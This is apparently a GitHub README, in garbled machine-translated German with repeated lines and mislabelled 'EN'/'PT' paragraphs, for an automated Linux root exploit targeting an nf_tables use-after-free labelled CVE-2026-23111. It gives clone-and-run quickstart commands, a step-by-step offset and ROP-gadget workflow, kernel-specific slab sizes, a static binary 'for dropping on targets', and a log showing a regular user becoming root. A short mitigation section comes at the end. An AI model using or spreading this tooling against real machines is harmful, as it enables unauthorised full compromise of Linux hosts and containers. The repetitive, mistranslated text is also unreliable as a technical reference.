CVE-2026-23111 — noddlenpottato

nf_tables Catchall-UAF → unprivilegierte LPE. Vom Benutzer zum Root auf den meisten Linux-Kerneln 5.10—6.18.

passt sich automatisch an den Zielkernel an — erkennt Struct-Offsets, löst Symbole auf, findet ROP-Gadgets, bestimmt den Slab-Cache, generiert einen maßgeschneiderten Exploit, kompiliert und führt ihn aus.

nf_tables Catchall-UAF → LPE ohne Privilegien. Ein normaler Benutzer wird auf den meisten Linux-Kerneln 5.10—6.18 zu Root.

adaptiert sich automatisch an den Zielkernel — erkennt Struct-Offsets, löst Symbole auf, findet ROP-Gadgets, bestimmt den Slab-Cache, erzeugt einen maßgeschneiderten Exploit, kompiliert und führt aus.

Übersicht über die Exploit-Kette

Slab-Reclaim-Strategie

die Schwachstelle / die Verwundbarkeit

EN: invertierte Genmask-Prüfung in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). Während des Transaktionsabbruchs überspringt der Handler inaktive Catchall-Elemente, die reaktiviert werden müssen, und verarbeitet aktive, die das nicht müssen. Dies führt dazu, dass chain->use ohne ordnungsgemäße Wiederherstellung dekrementiert wird, was DELCHAIN auf einer weiterhin referenzierten Chain ermöglicht — was einen UAF erzeugt.

PT: invertierte Genmask-Prüfung in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). Während des Transaktionsabbruchs überspringt der Handler inaktive Catchall-Elemente, die reaktiviert werden müssen, und verarbeitet aktive, die das nicht müssen. Das bewirkt, dass chain->use ohne angemessene Wiederherstellung dekrementiert wird, sodass DELCHAIN auf einer immer noch referenzierten Chain möglich ist — was einen UAF erzeugt.

die fehlerhafte Bedingung:

// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

was du bekommst / was du erhältst

• beliebiger Kernel-Read — liest 8 Bytes von jeder virtuellen Kernel-Adresse, unbegrenzt oft
• KASLR-Bypass — leakt die Kernel-Basis aus dem seq_operations-Reclaim eines freigegebenen Chain-Namens
• vollständige LPE — commit_creds(init_cred) per ROP-Kette mit KPTI-sicherem Rücksprung in den Userspace
• funktioniert als unprivilegierter Benutzer — benötigt nur unshare -rUn (User- und Network-Namespace)
• funktioniert in Containern — Kubernetes-Pods, Docker-Container (erlangt Root im Container-Namespace)

betroffene Versionen / betroffene Ausgaben

Der Fehler wurde in 6.1.36 (Backport) eingeführt und existiert in mehreren LTS-Zweigen:

Das deckt im Grunde jede große Enterprise-Linux-Distribution ab, die zwischen 2023 und 2026 ausgeliefert wurde.

Schnellstart

git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

oder Schritt für Schritt / oder schrittweise:

python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

Repo-Struktur / Struktur des Repos

.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

wichtige technische Anpassungen / zentrale technische Anpassungen

Slab-Größe ist entscheidend

sizeof(nft_chain) variiert zwischen verschiedenen Kernel-Builds. Falsche Spray-Größe = stiller Fehlschlag:

debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

Der Userdata-Spray MUSS die exakte Struct-Größe verwenden (nicht die Slab-Größe). autopwn.py erledigt das automatisch über pahole.

Das Pivot-Gadget variiert

Das Register, das den expr-Zeiger an der eval()-Aufrufstelle hält, ändert sich zwischen Kernel-Versionen:

Falsches Gadget = sofortiger Kernel-Panic. Überprüfe immer durch Disassemblieren von nft_do_chain.

Retpoline

Moderne Kernel ersetzen alle ret durch jmp __x86_return_thunk. Die Gadget-Suche muss das berücksichtigen — du wirst kein pop rdi; ret finden, sondern pop rdi; jmp __x86_return_thunk.

Build

# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

Beweis

$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

Dokumentation / Doku

Gegenmaßnahmen / Abschwächungen

# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

Credits

Die ursprüngliche Schwachstellenanalyse stammt aus dem nf_tables-Advisory. Die vollständige Entwicklung der LPE-Kette, die Slab-Analyse, die Multi-Kernel-Anpassung, die Pivot-Gadget-Forschung und das Autopwn-Tooling wurden unabhängig entwickelt.